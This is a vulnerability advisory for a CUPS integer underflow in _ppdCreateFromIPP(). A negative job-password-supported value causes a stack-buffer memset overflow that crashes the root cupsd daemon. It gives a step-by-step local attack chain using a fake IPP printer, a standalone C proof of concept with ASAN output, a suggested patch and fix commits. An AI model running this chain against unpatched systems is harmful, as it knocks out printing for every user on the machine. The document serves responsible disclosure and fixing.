Summary

An integer underflow vulnerability in _ppdCreateFromIPP() (cups/ppd-cache.c) allows any unprivileged local user to crash the cupsd root process by supplying a negative job-password-supported IPP attribute. The bounds check only caps the upper bound, so a negative value passes validation, is cast to size_t (wrapping to ~2^64), and is used as the length argument to memset() on a 33-byte stack buffer. This causes an immediate SIGSEGV in the cupsd root process. Combined with systemd's Restart=on-failure, an attacker can repeat the crash for sustained denial of service.

ASAN-confirmed on CUPS 2.5b1; code path verified present and identical in CUPS v2.4.16.

Details

Vulnerable code (cups/ppd-cache.c, lines 3504-3516):

if ((attr = ippFindAttribute(supported, "job-password-supported", IPP_TAG_INTEGER)) != NULL)
{
  char    pattern[33];          /* Password pattern */
  int     maxlen = ippGetInteger(attr, 0);
                                /* Maximum length */
  const char *repertoire = ippGetString(ippFindAttribute(supported,
      "job-password-repertoire-configured", IPP_TAG_KEYWORD), 0, NULL);

  if (maxlen > (int)(sizeof(pattern) - 1))
    maxlen = (int)sizeof(pattern) - 1;

  if (!repertoire || !strcmp(repertoire, "iana_us-ascii_digits"))
    memset(pattern, '1', (size_t)maxlen);

The bounds check at line 3512 only enforces an upper limit: if (maxlen > 32) maxlen = 32;. A negative value such as -1 passes this check (since -1 < 32 is true). At line 3516, (size_t)maxlen with maxlen = -1 wraps to 0xFFFFFFFFFFFFFFFF (18446744073709551615) on 64-bit systems. The subsequent memset(pattern, '1', SIZE_MAX) writes far beyond the 33-byte stack buffer pattern[33], causing an immediate segmentation fault.

Note that ippValidateAttributes() does not range-check integer attribute values, so the negative value is accepted as valid IPP data.

Execution context: The vulnerable function is called from create_local_bg_thread() in scheduler/ipp.c, which runs as a background thread in the cupsd root process. When a local user creates a printer via CUPS-Create-Local-Printer, cupsd spawns this thread to fetch printer attributes from the specified device-uri. The attacker controls the IPP response by running a fake IPP printer on localhost.

PoC

Prerequisites: CUPS <= 2.4.16 running on localhost, local user access.

Attack chain:

1. Local user starts a fake IPP printer on localhost:ATTACKER_PORT that responds to Get-Printer-Attributes with job-password-supported = -1 (or any negative integer).

2. Local user sends CUPS-Create-Local-Printer to localhost:631 with device-uri=ipp://127.0.0.1:ATTACKER_PORT/.

3. cupsd (running as root) spawns create_local_bg_thread, connects to the fake printer, and fetches attributes.

4. ippValidateAttributes() passes — integers are not range-checked.

5. _ppdCreateFromIPP() reads maxlen = -1, the upper-bound check passes, and memset(pattern, '1', (size_t)(-1)) overflows the 33-byte stack buffer.

6. cupsd crashes with SIGSEGV. systemd restarts cupsd (Restart=on-failure), and the attacker can repeat for sustained DoS.

Standalone PoC (direct library call, requires ASAN build):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <cups/cups.h>
#include <cups/ppd.h>
#include "cups/ppd-private.h"

int main(void)
{
    char buffer[1024];
    ipp_t *supported;

    supported = ippNew();
    if (!supported)
        return 1;

    ippAddString(supported, IPP_TAG_PRINTER, IPP_TAG_URI,
                 "printer-uri-supported", NULL,
                 "ipp://localhost:631/printers/test");

    /* Trigger: negative job-password-supported value */
    ippAddInteger(supported, IPP_TAG_PRINTER, IPP_TAG_INTEGER,
                  "job-password-supported", -5);

    /* This call triggers memset overflow → SIGSEGV */
    char *result = _ppdCreateFromIPP(buffer, sizeof(buffer), supported);

    if (result)
        unlink(result);

    ippDelete(supported);
    return 0;
}

ASAN output (confirmed on CUPS 2.5b1):

==PID==ERROR: AddressSanitizer: unknown-crash on address 0x...
WRITE of size 18446744073709551611 at 0x... thread T0
    #0 0x... in memset
    #1 0x... in _ppdCreateFromIPP cups/ppd-cache.c:3516

Impact

Denial of service (confirmed): Any unprivileged local user can crash the cupsd root daemon by hosting a malicious IPP printer on localhost and creating a local printer pointing to it. The crash is immediate and deterministic. Since systemd restarts cupsd on failure, the attacker can loop the attack for sustained denial of service, preventing all printing system-wide.

Not RCE: The memset writes a fixed byte (0x31, ASCII '1'), not attacker-controlled content. While the stack buffer overflow is massive, the written data is not controllable, limiting exploitability to denial of service.

Who is impacted: Any system running CUPS <= 2.4.16 where local users can connect to the cupsd socket (default configuration). The CUPS-Create-Local-Printer operation does not require authentication from localhost in the default policy.

Suggested Fix

Add a lower-bound check for maxlen after line 3512 to clamp negative values to zero:

--- a/cups/ppd-cache.c
+++ b/cups/ppd-cache.c
@@ -3512,6 +3512,8 @@
     if (maxlen > (int)(sizeof(pattern) - 1))
       maxlen = (int)sizeof(pattern) - 1;
+    if (maxlen < 0)
+      maxlen = 0;
 
     if (!repertoire || !strcmp(repertoire, "iana_us-ascii_digits"))
       memset(pattern, '1', (size_t)maxlen);

Alternatively, change the maxlen variable and the cast to use size_t throughout, applying the upper-bound clamp with an unsigned comparison that naturally handles negative values.

EDIT:
The vulnerability was fixed by Mike at the time of publishing it.

Fixes:
master 3d748da Range check job-password-supported.
2.4.x 928a86b Range check job-password-supported.